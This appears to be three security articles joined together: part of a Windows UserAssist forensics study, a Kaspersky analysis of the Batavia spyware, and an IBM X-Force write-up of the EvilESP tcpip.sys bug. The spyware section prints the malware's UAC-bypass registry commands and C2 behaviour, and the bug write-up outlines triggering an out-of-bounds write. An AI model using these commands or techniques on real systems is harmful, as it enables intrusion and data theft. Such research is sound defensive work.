    Program closed SHELL32 CUserAssist::FireEvent This call chain updates the focus time and applies to GUI and CLI executables. However, CLI executables are only updated if the program was executed via a double click or if conhost was spawned as a child process.
    Explorer UAFireEvent
    Explorer shell::TaskScheduler::
    CSimpleRunnableTaskParam<<‌
    lambda_5b4995a8d0f55408566e‌10
    b459ba2cbe>‌,CMemString<
    CMemString‌_PolicyCoTaskMem> >
    ::InternalResumeRT

    Inconsistency breakdown

    As previously mentioned, we observed five combinations of UserAssist data. Our thorough analysis shows that these inconsistencies arise from interactions with a program and various functions that call the FireEvent function. Now, let’s examine the triggering events that cause these inconsistencies in more detail.

    1.   All data

    The first combination is all four parameters registered in the UserAssist record: run count, focus count, focus time, and last execution time. In this scenario, the program usually follows the normal execution flow, has a GUI and is executed by double-clicking in Windows Explorer.

    • When the program is executed, the FireEvent function is called to update the run count and last execution time.
    • When it is set in focus, the FireEvent function is called to update the focus count.
    • When it is set out of focus or closed, the FireEvent function is called to update focus time.

    2.   Run count and last execution time

    The second combination occurs when the record only contains run count and last execution time. In this scenario, the program is run by double-clicking in Windows Explorer, but the GUI that appears belongs to another program. Examples of this scenario include launching an application with an LNK shortcut or using an installer that runs a different GUI program, which switches the focus to the other program file.

    During our test, a copy of calc.exe was executed in Windows Explorer using the double-click method. However, the GUI program that popped up was the UWP app for the calculator Microsoft.WindowsCalculator_8wekyb3d8bbwe!App.

    There is a record of the calc.exe desktop copy in UserAssist, but it contains only the run count and last execution time. However, both focus count and focus time are recorded under the UWP calculator Microsoft.WindowsCalculator_8wekyb3d8bbwe!App UserAssist entry.

    3.   Focus count and focus time

    The third combination is a record that only includes focus count and focus time. In this scenario, the program has a GUI, but is executed by means other than a double click in Windows Explorer, for example, via a command line interface.

    During our test, a copy of Process Explorer from the Sysinternals Suite was executed through cmd and recorded in UserAssist with focus count and focus time only.

    4.   Run count, last execution time and focus time

    The fourth combination is when the record contains run count, last execution time and focus time. This scenario only applies to CLI programs that are run by double-clicking and then immediately closed. The double-click execution leads to the run count and last execution time being registered. Next, the program close event will call the FireEvent function to update the focus time, which is triggered by the lambda function (5b4995a8d0f55408566e10b459ba2cbe).

    During our test, a copy of whoami.exe was executed by a double click, which opened a console GUI for a split second before closing.

    5.   Focus time

    The fifth combination is a record with only focus time registered. This scenario only applies to CLI programs executed by means other than a double click, which opens a console GUI for a split second before it is immediately closed.

    During our test, a copy of whoami.exe was executed using PsExec instead of cmd. PsExec executed whoami as its own child process, resulting in whoami spawning a conhost.exe process. This condition must be met for the CLI program to be registered in UserAssist in this scenario.

    We summed up all five combinations with their respective interpretations in the table below.

    Inconsistency combination Interpretation Triggering events
    All Data GUI program executed by double
    click and closed normally.
    ·        Program Executed
    ·        Program In Focus
    ·        Program Out of Focus
    ·        Program Closed
    Run Count and Last Execution Time GUI program executed by double
    click but focus switched to another
    program.
    ·        Program Executed
    Focus Count and Focus Time GUI program executed by other means. ·        Program In Focus
    ·        Program Out of Focus
    ·        Program Closed
    Run Count, Last Execution Time and Focus Time CLI program executed by double
    click and then closed.
    ·        Program Executed
    ·        Program Closed
    Focus Time CLI program executed by other
    means than double click, spawned
    conhost process and then closed.
    ·        Program Closed

    CUASession and UEME_CTLSESSION

    Now that we have addressed the inconsistency of the UserAssist artifact, the second part of this research will explain another aspect of UserAssist: the CUASession class and the UEME_CTLSESSION value.

    The UserAssist database contains value names for every executed program, but there is an unknown value: UEME_CTLSESSION. Unlike the binary data that is recorded for every program, this value contains larger binary data: 1612 bytes, whereas the regular size of values for executed programs is 72 bytes.

    CUASession is a class within shell32.dll that is responsible for maintaining statistics of the entire UserAssist logging session for all programs. These statistics include total run count, total focus count, total focus time and the three top program entries, known as NMax entries, which we will describe below. The UEME_CTLSESSION value contains the properties of the CUASession object. Below are some functions of the CUASession class:

    CUASession::AddLaunches(uint) CUASession::GetTotalLaunches(void)
    CUASession::AddSwitches(uint) CUASession::GetTotalSwitches(void)
    CUASession::AddUserTime(ulong) CUASession::GetTotalUserTime(void)
    CUASession::GetNMaxCandidate(enum _tagNMAXCOLS, struct SNMaxEntry *) CUASession::SetNMaxCandidate(enum _tagNMAXCOLS, struct SNMaxEntry const *)

    In the context of CUASession and UEME_CTLSESSION, we will refer to run count as launches, focus count as switches, and focus time as user time when discussing the parameters of all executed programs in a logging session as opposed to the data of a single program.

    The UEME_CTLSESSION value has the following specific data structure:

    • 0x0 offset: general total statistics (16 bytes)
      • 0x0: logging session ID (4 bytes)
      • 0x4: total launches (4 bytes)
      • 0x8: total switches (4 bytes)
      • 0xC: total user time in milliseconds (4 bytes)
    • 0x10 offset: three NMax entries (1596 bytes)
      • 0x10: first NMax entry (532 bytes)
      • 0x224: second NMax entry (532 bytes)
      • 0x438: third NMax entry (532 bytes)
    UEME_CTLSESSION structure

    UEME_CTLSESSION structure

    Every time the FireEvent function is called to update program data, CUASession updates its own properties and saves them to UEME_CTLSESSION.

    • When FireEvent is called to update the program’s run count, CUASession increments Total Launches in UEME_CTLSESSION.
    • When FireEvent is called to update the program’s focus count, CUASession increments Total Switches.
    • When FireEvent is called to update the program’s focus time, CUASession updates Total User Time.

    NMax entries

    The NMax entry is a portion of the UserAssist data for the specific program that contains the program’s run count, focus count, focus time, and full path. NMax entries are part of the UEME_CTLSESSION value. Each NMax entry has the following data structure:

    • 0x0 offset: program’s run count (4 bytes)
    • 0x4 offset: program’s focus count (4 bytes)
    • 0x8 offset: program’s focus time in milliseconds (4 bytes)
    • 0xc offset: program’s name/full path in Unicode (520 bytes, the maximum Windows path length multiplied by two)
    NMax entry structure

    NMax entry structure

    The NMax entries track the programs that are executed, switched, and used most frequently. Whenever the FireEvent function is called to update a program, the CUADBLog::_CheckUpdateNMax function is called to check and update the NMax entries accordingly.

    The first NMax entry stores the data of the most frequently executed program based on run count. If two programs (the program whose data was previously saved in the NMax entry and the program that triggered the FireEvent for update) have an equal run count, the entry is updated based on the higher calculated value between the two programs, which is called the N value. The N value equation is as follows:

    N value = Program’s Run Count*(Total User Time/Total Launches) + Program’s Focus Time + Program’s Focus Count*(Total User Time/Total Switches)

    The second NMax entry stores the data of the program with the most switches, based on its focus count. If two programs have an equal focus count, the entry is updated based on the highest calculated N value.

    The third NMax entry stores the data of the program that has been used the most, based on the highest N value.

    The parsed UEME_CTLSESSION structure with NMax entries is shown below.

    {
            "stats": {
                "Session ID": 40,
                "Total Launches": 118,
                "Total Switches": 1972,
                "Total User Time": 154055403
            },
            "NMax": [
                {
                    "Run Count": 20,
                    "Focus Count": 122,
                    "Focus Time": 4148483,
                    "Executable Path": "Microsoft.Windows.Explorer"
                },
                {
                    "Run Count": 9,
                    "Focus Count": 318,
                    "Focus Time": 34684910,
                    "Executable Path": "Chrome"
                },
                {
                    "Run Count": 9,
                    "Focus Count": 318,
                    "Focus Time": 34684910,
                    "Executable Path": "Chrome"
                }
            ]
        }

    UEME_CTLSESSION data

    UserAssist reset

    UEME_CTLSESSION will persist even after logging off or restarting. However, when it reaches the threshold of two days in its total user time, i.e., when the total focus time of all executed programs of the current user equals two days, the logging session is terminated and almost all UserAssist data, including the UEME_CTLSESSION value, is reset.

    The UEME_CTLSESSION value is reset with almost all its data, including total launches, total switches, total user time, and NMax entries. However, the session ID is incremented and a new logging session begins.

    UEME_CTLSESSION comparison before and after reset

    UEME_CTLSESSION comparison before and after reset

    The newly incremented session ID is copied to offset 0x0 of each program’s UserAssist data. Besides UEME_CTLSESSION, other UserAssist data for each program is also reset including run count, focus count, focus time, and the last four bytes, which are still unknown and always contain zero. The only parameter that is not reset is the last execution time. However, all this data is saved in the form of a usage percentage before resetting.

    Usage percentage and counters

    We analyzed the UserAssist data of various programs to determine the unknown bytes between the focus time and last execution time sections. We found that they represent a list of a program’s usage percentage relative to the most used program at that session, as well as the rewrite counter (the index of the usage percentage last written to the list) for the last 10 sessions. Given our findings, we can now revise the structure of the program’s UserAssist binary data and fully describe all of its components.

    UserAssist revised structure

    UserAssist revised structure

    • 0x0: logging session ID (4 bytes).
    • 0x4: run count (4 bytes).
    • 0x8: focus count (4 bytes).
    • 0xc: focus time (4 bytes).
    • 0x10: element in usage percentage list [0] (4 bytes).
    • 0x14: element in usage percentage list [1] (4 bytes).
    • 0x18: element in usage percentage list [2] (4 bytes).
    • 0x1c: element in usage percentage list [3] (4 bytes).
    • 0x20: element in usage percentage list [4] (4 bytes).
    • 0x24: element in usage percentage list [5] (4 bytes).
    • 0x28: element in usage percentage list [6] (4 bytes).
    • 0x2c: element in usage percentage list [7] (4 bytes).
    • 0x30: element in usage percentage list [8] (4 bytes).
    • 0x34: element in usage percentage list [9] (4 bytes).
    • 0x38: index of last element written in the usage percentage list (4 bytes).
    • 0x3c: last execution time (Windows FILETIME structure) (8 bytes).
    • 0x44: unknown value (4 bytes).

    The values from 0x10 to 0x37 are the usage percentage values that are called r0 values and calculated based on the following equation.

    r0 value [Index] = N Value of the Program / N Value of the Most Used Program in the session (NMax entry 3)

    If the program is run for the first time within an ongoing logging session, its r0 values equal -1, which is not a calculated value, but a placeholder.

    The offset 0x38 is the index of the last element written to the list, and is incremented whenever UEME_CTLSESSION is reset. The index is bounded between zero and nine because the list only contains the r0 values of the last 10 sessions.

    The last four bytes equal zero, but their purpose remains unknown. We have not observed them being used other than being reset after the session expires.

    The table below shows a sample of the UserAssist data broken down by component after parsing.

    UserAssist revised data structure parsed

    UserAssist revised data structure parsed

    Forensic value

    The r0 values are a goldmine of valuable information about a specific user’s application and program usage. These values provide useful information for incident investigations, such as the following:

    • Programs with many 1 values in the r0 values list are the programs most frequently used by the user.
    • Programs with many 0 values in the r0 values list are the programs that are least used or abandoned by the user, which could be useful for threat hunting and lead to the discovery of malware or legitimate software used by adversaries.
    • Programs with many -1 values in the r0 values list are relatively new programs with data that has not been reset within two days of the user interactive session.

    UserAssist data template

    As mentioned above, when the program is first executed and doesn’t yet have its own UserAssist record (CUACount object), a new entry is created with the UEME_CTLCUACount:ctor value. This value serves as a template for the program’s UserAssist binary data with the following values:

    • Logging session ID = -1 (0xffffffff). However, this value is copied to the UserAssist entry from the current UEME_CTLSESSION session.
    • Run count = 0.
    • Focus count = 0.
    • Focus time = 0.
    • Usage percentage list [0-9] = -1 (0xbf800000) because these values are float numbers.
    • Usage percentage index (counter) = -1 (0xffffffff).
    • Last execution time = 0.
    • Last four bytes = 0.
    UEME_CTLCUACount:ctor data

    UEME_CTLCUACount:ctor data

    New parser

    Based on the findings of this research, we created a new parser built on an open source parser. Our new tool parses and saves all UEME_CTLSESSION values as a JSON file. It also parses UserAssist data with the newly discovered r0 value structure and saves it as a CSV file.

    Conclusion

    We closely examined the UserAssist artifact and how its data is structured. Our thorough analysis helped identify data inconsistencies. The FireEvent function in shell32.dll is primarily responsible for updating the UserAssist data. Various interactions with programs trigger calls to the FireEvent function and they are the main reason for the inconsistencies in the UserAssist data.

    We also studied the UEME_CTLSESSION value. It is mainly responsible for coordinating the UserAssist logging session that expires once the accumulated focus time of all programs reaches two days. Further investigation of UEME_CTLSESSION revealed the purpose of previously undocumented UserAssist binary data values, which turned out to be the usage percentage list of programs and the value rewrite counter.

    The UserAssist artifact is a valuable tool for incident response activities, and our research can help make the most of the data it contains.

    Batavia spyware steals data from Russian organizations

    By: Kaspersky

    Introduction

    Since early March 2025, our systems have recorded an increase in detections of similar files with names like договор-2025-5.vbe, приложение.vbe, and dogovor.vbe (translation: contract, attachment) among employees at various Russian organizations. The targeted attack begins with bait emails containing malicious links, sent under the pretext of signing a contract. The campaign began in July 2024 and is still ongoing at the time of publication. The main goal of the attack is to infect organizations with the previously unknown Batavia spyware, which then proceeds to steal internal documents. The malware consists of the following malicious components: a VBA script and two executable files, which we will describe in this article. Kaspersky solutions detect these components as HEUR:Trojan.VBS.Batavia.gen and HEUR:Trojan-Spy.Win32.Batavia.gen.

    First stage of infection: VBS script

    As an example, we examined one of the emails users received in February. According to our research, the theme of these emails has remained largely unchanged since the start of the campaign.

    Example of an email with a malicious link

    Example of an email with a malicious link

    In this email, the employee is asked to download a contract file supposedly attached to the message. In reality, the attached file is actually a malicious link: https://oblast-ru[.]com/oblast_download/?file=hc1-[redacted].

    Notably, the sender’s address belongs to the same domain – oblast-ru[.]com, which is owned by the attackers. We also observed that the file=hc1-[redacted] argument is unique for each email and is used in subsequent stages of the infection, which we’ll discuss in more detail below.

    When the link is clicked, an archive is downloaded to the user’s device, containing just one file: the script Договор-2025-2.vbe, encrypted using Microsoft’s proprietary algorithm (MD5: 2963FB4980127ADB7E045A0F743EAD05).

    Snippet of the malicious script after decryption

    Snippet of the malicious script after decryption

    The script is a downloader that retrieves a specially crafted string of 12 comma-separated parameters from the hardcoded URL https://oblast-ru[.]com/oblast_download/?file=hc1-[redacted]&vput2. These parameters are arguments for various malicious functions. For example, the script identifies the OS version of the infected device and sends it to the attackers’ C2 server.

    # Value Description
    1 \WebView.exe Filename to save
    2 Select * from Win32_OperatingSystem Query to determine OS version and build number
    3 Windows 11 OS version required for further execution
    4 new:c08afd90-f2a1-11d1-8455-00a0c91f3880 ShellBrowserWindow object ID, used to open the downloaded file via the Navigate() method
    5 new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B WScript.Shell object ID,
    used to run the file via the Run() method
    6 winmgmts:\\.\root\cimv2 WMI path used to retrieve OS version and build number
    7 77;90;80;0 First bytes of the downloaded file
    8 &dd=d Additional URL arguments for file download
    9 &i=s Additional URL arguments for sending downloaded file size
    10 &i=b Additional URL arguments for sending OS build number
    11 &i=re Additional URL arguments for sending error information
    12 \winws.txt Empty file that will also be created on the device

    By accessing the address https://oblast-ru[.]com/oblast_download/?file=hc1-[redacted]&dd=d, the script downloads the file WebView.exe (MD5: 5CFA142D1B912F31C9F761DDEFB3C288) and saves it to the %TEMP% directory, then executes it. If the OS version cannot be retrieved or does not match the one obtained from the C2 server, the downloader uses the Navigate() method; otherwise, it uses Run().

    Second stage of infection: WebView.exe

    WebView.exe is an executable file written in Delphi, with a size of 3,235,328 bytes. When launched, the malware downloads content from the link https://oblast-ru[.]com/oblast_download/?file=1hc1-[redacted]&view and saves it to the directory C:\Users[username]\AppData\Local\Temp\WebView, after which it displays the downloaded content in its window. At the time of analysis, the link was no longer active, but we assume it originally hosted the fake contract mentioned in the malicious email.

    At the same time as displaying the window, the malware begins collecting information from the infected computer and sends it to an address with a different domain, but the same infection ID: https://ru-exchange[.]com/mexchange/?file=1hc1-[redacted]. The only difference from the ID used in the VBS script is the addition of the digit 1 at the beginning of the argument, which may indicate the next stage of infection.

    The spyware collects several types of files, including various system logs and office documents found on the computer and removable media. Additionally, the malicious module periodically takes screenshots, which are also sent to the C2 server. To avoid sending the same files repeatedly, the malware creates a file named h12 in the %TEMP% directory and writes a 4-byte FNV-1a_32 hash of the first 40,000 bytes of each uploaded file. If the hash of any subsequent file matches a value in h12, that file is not sent again.

    Type Full path or mask
    Pending file rename operations log c:\windows\pfro.log
    Driver install and update log c:\windows\inf\setupapi.dev.log
    System driver and OS component install log c:\windows\inf\setupapi.setup.log
    Programs list Directory listing of c:\program files*
    Office documents *.doc, *.docx, *.ods, *.odt, *.pdf, *.xls, *.xlsx

    In addition, WebView.exe downloads the next-stage executable from https://oblast-ru[.]com/oblast_download/?file=1hc1-[redacted]&de and saves it to %PROGRAMDATA%\jre_22.3\javav.exe. To execute this file, the malware creates a shortcut in the system startup folder: %APPDATA%\Microsoft\Windows\Start Menu\Programs\StartUp\Jre22.3.lnk. This shortcut is triggered upon the first device reboot after infection, initiating the next stage of malicious activity.

    Third stage of infection: javav.exe

    The executable file javav.exe (MD5: 03B728A6F6AAB25A65F189857580E0BD) is written in C++, unlike WebView.exe. The malicious capabilities of the two files are largely similar; however, javav.exe includes several new functions.

    For example, javav.exe collects files using the same masks as WebView.exe, but the list of targeted file extensions is expanded to include these formats:

    • Image and vector graphic: *.jpeg, *.jpg, *.cdr
    • Spreadsheets: *.csv
    • Emails: *.eml
    • Presentations: *.ppt, *.pptx, *.odp
    • Archives: *.rar, *.zip
    • Other text documents: *.rtf, *.txt

    Like its predecessor, the third-stage module compares the hash sums of the obtained files to the contents of the h12 file. The newly collected data is sent to https://ru-exchange[.]com/mexchange/?file=2hc1-[redacted].
    Note that at this stage, the digit 2 has been added to the infection ID.

    Additionally, two new commands appear in the malware’s code: set to change the C2 server and exa/exb to download and execute additional files.

    In a separate thread, the malware regularly sends requests to https://ru-exchange[.]com/mexchange/?set&file=2hc1-[redacted]&data=[xxxx], where [xxxx] is a randomly generated 4-character string. In response, javav.exe receives a new C2 address, encrypted with a 232-byte XOR key, which is saved to a file named settrn.txt.

    In another thread, the malware periodically connects to https://ru-exchange[.]com/mexchange/?exa&file=2hc1-[redacted]&data=[xxxx] (where [xxxx] is also a string of four random characters). The server responds with a binary executable file, encrypted using a one-byte XOR key 7A and encoded using Base64. After decoding and decryption, the file is saved as %TEMP%\windowsmsg.exe. In addition to this, javav.exe sends requests to https://ru-exchange[.]com/mexchange/?exb&file=2hc1-[redacted]&data=[xxxx], asking for a command-line argument to pass to windowsmsg.exe.

    To launch windowsmsg.exe, the malware uses a UAC bypass technique (T1548.002) involving the built-in Windows utility computerdefaults.exe, along with modification of two registry keys using the reg.exe utility.

    add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f

    add HKCU\Software\Classes\ms-settings\Shell\Open\command /f /ve /t REG_SZ /d "%temp%\windowsmsg.exe <arg>"

    At the time of analysis, downloading windowsmsg.exe from the C2 server was no longer possible. However, we assume that this file serves as the payload for the next stage – most likely containing additional malicious functionality.

    Victims

    The victims of the Batavia spyware campaign were Russian industrial enterprises. According to our telemetry data, more than 100 users across several dozen organizations received the bait emails.

    Number of infections via VBS scripts, August 2024 – June 2025 (download)

    Conclusion

    Batavia is a new spyware that emerged in July 2024, targeting organizations in Russia. It spreads through malicious emails: by clicking a link disguised as an official document, unsuspecting users download a script that initiates a three-stage infection process on their device. As a result of the attack, Batavia exfiltrates the victim’s documents, as well as information such as a list of installed programs, drivers, and operating system components.

    To avoid falling victim to such attacks, organizations must take a comprehensive approach to infrastructure protection, employing a suite of security tools that include threat hunting, incident detection, and response capabilities. Kaspersky Next XDR Expert is a solution for organizations of all sizes that enables flexible, effective workplace security. It’s also worth noting that the initial infection vector in this campaign is bait emails. This highlights the importance of regular employee training and raising awareness of corporate cybersecurity practices. We recommend specialized courses available on the Kaspersky Automated Security Awareness Platform, which help reduce employees’ susceptibility to email-based cyberattacks.

    Indicators of compromise

    Hashes of malicious files
    Договор-2025-2.vbe
    2963FB4980127ADB7E045A0F743EAD05
    webview.exe
    5CFA142D1B912F31C9F761DDEFB3C288
    javav.exe
    03B728A6F6AAB25A65F189857580E0BD

    C2 addresses
    oblast-ru[.]com
    ru-exchange[.]com

    Dissecting and Exploiting TCP/IP RCE Vulnerability “EvilESP”

    September’s Patch Tuesday unveiled a critical remote vulnerability in tcpip.sys, CVE-2022-34718. The advisory from Microsoft reads: “An unauthenticated attacker could send a specially crafted IPv6 packet to a Windows node where IPsec is enabled, which could enable a remote code execution exploitation on that machine.”

    Pure remote vulnerabilities usually yield a lot of interest, but even over a month after the patch, no additional information outside of Microsoft’s advisory had been publicly published. From my side, it had been a long time since I attempted to do a binary patch diff analysis, so I thought this would be a good bug to do root cause analysis and craft a proof-of-concept (PoC) for a blog post.

    On October 21 of last year, I posted an exploit demo and root cause analysis of the bug. Shortly thereafter a blog post and PoC was published by Numen Cyber Labs on the vulnerability, using a different exploitation method than I used in my demo.

    In this blog — my follow-up article to my exploit video — I include an in-depth explanation of the reverse engineering of the bug and correct some inaccuracies I found in the Numen Cyber Labs blog.

    In the following sections, I cover reverse engineering the patch for CVE-2022-34718, the affected protocols, identifying the bug, and reproducing it. I’ll outline setting up a test environment and write an exploit to trigger the bug and cause a Denial of Service (DoS). Finally, I’ll look at exploit primitives and outline the next steps to turn the primitives into remote code execution (RCE).

    Patch Diffing

    Microsoft’s advisory does not contain any specific details of the vulnerability except that it is contained in the TCP/IP driver and requires IPsec to be enabled. In order to identify the specific cause of the vulnerability, we’ll compare the patched binary to the pre-patch binary and try to extract the “diff”(erence) using a tool called BinDiff.

    I used Winbindex to obtain two versions of tcpip.sys: one right before the patch and one right after, both for the same version of Windows. Getting sequential versions of the binaries is important, as even using versions a few updates apart can introduce noise from differences that are not related to the patch, and cause you to waste time while doing your analysis. Winbindex has made patch analysis easier than ever, as you can obtain any Windows binary beginning from Windows 10. I loaded both of the files in Ghidra, applied the Program Database (pdb) files, and ran auto analysis (checking aggressive instruction finder works best). Afterward, the files can be exported into a BinExport format using the extension BinExport for Ghidra. The files can then be loaded into BinDiff to create a diff and start analyzing their differences:

    BinDiff summary comparing the pre- and post-patch binaries

    BinDiff works by matching functions in the binaries being compared using various algorithms. In this case there, we have applied function symbol information from Microsoft, so all the functions can be matched by name.

    List of matched functions sorted by similarity

    Above we see there are only two functions that have a similarity less than 100%. The two functions that were changed by the patch are IppReceiveEsp and Ipv6pReassembleDatagram.

    Vulnerability Root Cause Analysis

    Previous research shows the Ipv6pReassembleDatagram function handles reassembling Ipv6 fragmented packets.

    The function name IppReceiveEsp seems to indicate this function handles the receiving of IPsec ESP packets.

    Before diving into the patch, I’ll briefly cover Ipv6 fragmentation and IPsec. Having a general understanding of these packet structures will help when attempting to reverse engineer the patch.

    IPv6 Fragmentation:

    An IPv6 packet can be divided into fragments with each fragment sent as a separate packet. Once all of the fragments reach the destination, the receiver reassembles them to form the original packet.

    The diagram below illustrates the fragmentation:

    Illustration of Ipv6 fragmentation

    According to the RFC, fragmentation is implemented via an Extension Header called the Fragment header, which has the following format:

    Ipv6 Fragment Header format

    Where the Next Header field is the type of header present in the fragmented data.

    IPsec (ESP):

    IPsec is a group of protocols that are used together to set up encrypted connections. It’s often used to set up Virtual Private Networks (VPNs). From the first part of patch analysis, we know the bug is related to the processing of ESP packets, so we’ll focus on the Encapsulating Security Payload (ESP) protocol.

    As the name suggests, the ESP protocol encrypts (encapsulates) the contents of a packet. There are two modes: in tunnel mode, a copy of IP header is contained in the encrypted payload, and in transport mode where only the transport layer portion of the packet is encrypted. Like IPv6 fragmentation, ESP is implemented as an extension header. According to the RFC, an ESP packet is formatted as follows:

    Top Level Format of an ESP Packet

    Where Security Parameters Index (SPI) and Sequence Number fields comprise the ESP extension header, and the fields between and including Payload Data and Next Header are encrypted. The Next Header field describes the header contained in Payload Data.

    Now with a primer of Ipv6 Fragmentation and IPsec ESP, we can continue the patch diff analysis by analyzing the two functions we found were patched.

    Ipv6pReassembleDatagram

    Comparing the side by side of the function graphs, we can see that a single new code block has been introduced into the patched function:

    Side-by-side comparison of the pre- and post-patch function graphs of Ipv6ReassembleDatagram

    Let’s take a closer look at the block:

    New code block in the patched function

    The new code block is doing a comparison of two unsigned integers (in registers EAX and EDX) and jumping to a block if one value is less than the other. Let’s take a look at that destination block:

    The target code has an unconditional call to the function IppDeleteFromReassemblySet. Taking a guess from the name of this function, this block seems to be for error handling. We can intuit that the new code that was added is some sort of bounds check, and there has been a “goto error” line inserted into the code, if the check fails.

    With this bit of insight, we can perform static analysis in a decompiler.

    0vercl0ck previously published a blog post doing vulnerability analysis on a different Ipv6 vulnerability and went deep into the reverse engineering of tcpip.sys. From this work and some additional reverse engineering, I was able to fill in structure definitions for the undocumented Packet_t and Reassembly_t objects, as well as identify a couple of crucial local variable assignments.

    Decompilation output of Ipv6ReassembleDatagram

    In the above code snippet, the pink box surrounds the new code added by the patch. Reassembly->nextheader_offset contains the byte offset of the next_header field in the Ipv6 fragmentation header. The bounds check compares next_header_offset to the length of the header buffer. On line 29, HeaderBufferLen is used to allocate a buffer and on line 35, Reassembly->nextheder_offset is used to index and copy into the allocated buffer.

    Because this check was added, we now know there was a condition that allows nextheader_offset to exceed the header buffer length. We’ll move on to the second patched function to seek more answers.

    IppReceiveEsp

    Looking at the function graph side by side in the BinDiff workspace, we can identify some new code blocks introduced into the patched function:

    Side-by-side comparison of the pre- and post-patch function graphs of IppReceiveEsp

    The image below shows the decompilation of the function IppReceiveEsp, with a pink box surrounding the new code added by the patch.

    Decompilation output of IppReceiveESP

    Here, a new check was added to examine the Next Header field of the ESP packet. The Next Header field identifies the header of the decrypted ESP packet. Recall that a Next Header value can correspond to an upper layer protocol (such as TCP or UDP) or an extension header (such as fragmentation header or routing header). If the value in NextHeader is 0, 0x2B, or 0x2C, IppDiscardReceivedPackets is called and the error code is set to STATUS_DATA_NOT_ACCEPTED. These values correspond to IPv6 Hop-by-Hop Option, Routing Header for Ipv6, and Fragment Header for IPv6, respectively.

    Referring back to the ESP RFC it states, “In the IPv6 context, ESP is viewed as an end-to-end payload, and thus should appear after hop-by-hop, routing, and fragmentation extension headers.” Now the problem becomes clear. If a header of these types is contained within an ESP payload, it violates the RFC of the protocol, and the packet will be discarded.

    Putting It All Together

    Now that we have diagnosed the patches in two different functions, we can figure out how they are related. In the first function Ipv6ReassembleDatagram, we determined the fix was for a buffer overflow.

    Decompilation output of Ipv6ReassembleDatagram

    Recall that the size of the victim buffer is calculated as the size of the extension headers, plus the size of an Ipv6 header (Line 10 above). Now refer back to the patch that was inserted (Line 16). Reassembly->nextheader_offset refers to the offset of the Next Header value of the buffer holding the data for the fragment.

    Now refer back to the structure of an ESP packet:

    Top Level Format of an ESP Packet

    Notice that the Next Header field comes *after* Payload Data. This means that Reassembly->nextheader_offset will include the size of the Payload Data, which is controlled by the size of the data, and can be much greater than the size of the extension headers. The expected location of the Next Header field is inside an extension header or Ipv6 header. In an ESP packet, it is not inside the header, since it is actually contained in the encrypted portion of the packet.

    Illustrated root cause of CVE-2022-34718

    Now refer back to line 35 of Ipv6ReassembleDatagram, this is where an out of bounds 1 byte write occurs (the size and value of NextHeader).

    Reproducing the Bug

    We now know the bug can be triggered by sending an IPv6 fragmented datagram via IPsec ESP packets.

    The next question to answer: how will the victim be able to decrypt the ESP packets?

    To answer this question, I first tried to send packets to a victim containing an ESP Header with junk data and put a breakpoint on to the vulnerable IppReceiveEsp function, to see if the function could be reached. The breakpoint was hit, but the internal function I thought did the decrypting IppReceiveEspNbl, returned an error, so the vulnerable code was never reached. I further reverse engineered IppReceiveEspNbl and worked my way through to find the point of failure. This is where I learned that in order to successfully decrypt an ESP packet, a security association must be established.

    A security association consists of a shared state, primarily cryptographic keys and parameters, maintained between two endpoints to secure traffic between them. In simple terms, a security association defines how a host will encrypt/decrypt/authenticate traffic coming from/going to another host. Security associations can be established via the Internet Key Exchange (IKE) or Authenticated IP Protocol. In essence, we need a way to establish a security association with the victim, so that it knows how to decrypt the incoming data from the attacker.

    For testing purposes, instead of implementing IKE, I decided to create a security association on the victim manually. This can be done using the Windows Filtering Platform WinAPI (WFP). Numen’s blog post stated that it’s not possible to use WFP for secret key management. However, that is incorrect and by modifying sample code provided by Microsoft, it’s possible to set a symmetric key that the victim will use to decrypt ESP packets coming from the attacker IP.

    Exploitation

    Now that the victim knows how to decrypt ESP traffic from us (the attacker) we can build malformed encrypted ESP packets using scapy. Using scapy we can send packets at the IP layer. The exploitation process is simple:

    CVE-2022-34718 PoC

    I create a set of fragmented packets from an ICMPv6 Echo request. Then for each fragment, they are encrypted into an ESP layer before sending.

    Primitive

    From the root cause analysis diagram pictured above, we know our primitive gives us an out of bounds write at

    offset = sizeof(Payload Data) + sizeof(Padding) + sizeof(Padding Length)

    The value of the write is controllable via the value of the Next Header field. I set this value on line 36 in my exploit above (0x41 😉).

    Denial of Service (DoS)

    Corrupting just one byte into a random offset of the NetIoProtocolHeader2 pool (where the target buffer is allocated), usually does not immediately cause a crash. We can reliably crash the target by inserting additional headers within the fragmented message to parse, or by repeatedly pinging the target after corrupting a large portion of the pool.

    Limitations to Overcome For RCE

    offset is attacker controlled, however according to the ESP RFC, padding is required such that the Integrity Check Value (ICV) field (if present) is aligned on a 4-byte boundary.

    Because

    sizeof(Padding Length) = sizeof(Next Header) = 1,

    sizeof(Payload Data) + sizeof(Padding) + 2 must be 4 byte aligned.

    And therefore:

    offset = 4n - 1

    Where n can be any positive integer, constrained by the fact the payload data and padding must fit within a single packet and is therefore limited by MTU (frame size). This is problematic because it means full pointers cannot be overwritten. This is limiting, but not necessarily prohibitive; we can still overwrite the offset of an address in an object, a size, a reference counter, etc. The possibilities available to us depend on what objects can be sprayed in the kernel pool where the victim headerBuff is allocated.

    Heap Grooming Research

    The affected kernel pool in WinDbg

    The victim out of bounds buffer is allocated in the NetIoProtocolHeader2 pool. The first steps in heap grooming research are: examine the type of objects allocated in this pool, what is contained in them, how they are used, and how the objects are allocated/freed. This will allow us to examine how the write primitive can be used to obtain a leak or build a stronger primitive. We are not necessarily restricted to NetIoProtocolHeader2. However, because the position of the victim out-of-bounds buffer cannot be predicted, and the address of surrounding pools is randomized, targeting other pools seems challenging.

    Demo

    Watch the demo exploiting CVE-2022-34718 ‘EvilESP’ for DoS below:

    Takeaways

    When laid out like this, the bug seems pretty simple. However, it took several long days of reverse engineering and learning about various networking stacks and protocols to understand the full picture and write a DoS exploit. Many researchers will say that configuring the setup and understanding the environment is the most time-consuming and tedious part of the process, and this was no exception. I am very glad that I decided to do this short project; I understand Ipv6, IPsec, and fragmentation much better now.

    To learn how IBM Security X-Force can help you with offensive security services, schedule a no-cost consult meeting here: IBM X-Force Scheduler.

    If you are experiencing cybersecurity issues or an incident, contact X-Force to help: U.S. hotline 1-888-241-9812 | Global hotline (+001) 312-212-8034.

    References

    1. https://www.rfc-editor.org/rfc/rfc8200#section-4.5
    2. https://blog.quarkslab.com/analysis-of-a-windows-ipv6-fragmentation-vulnerability-cve-2021-24086.html
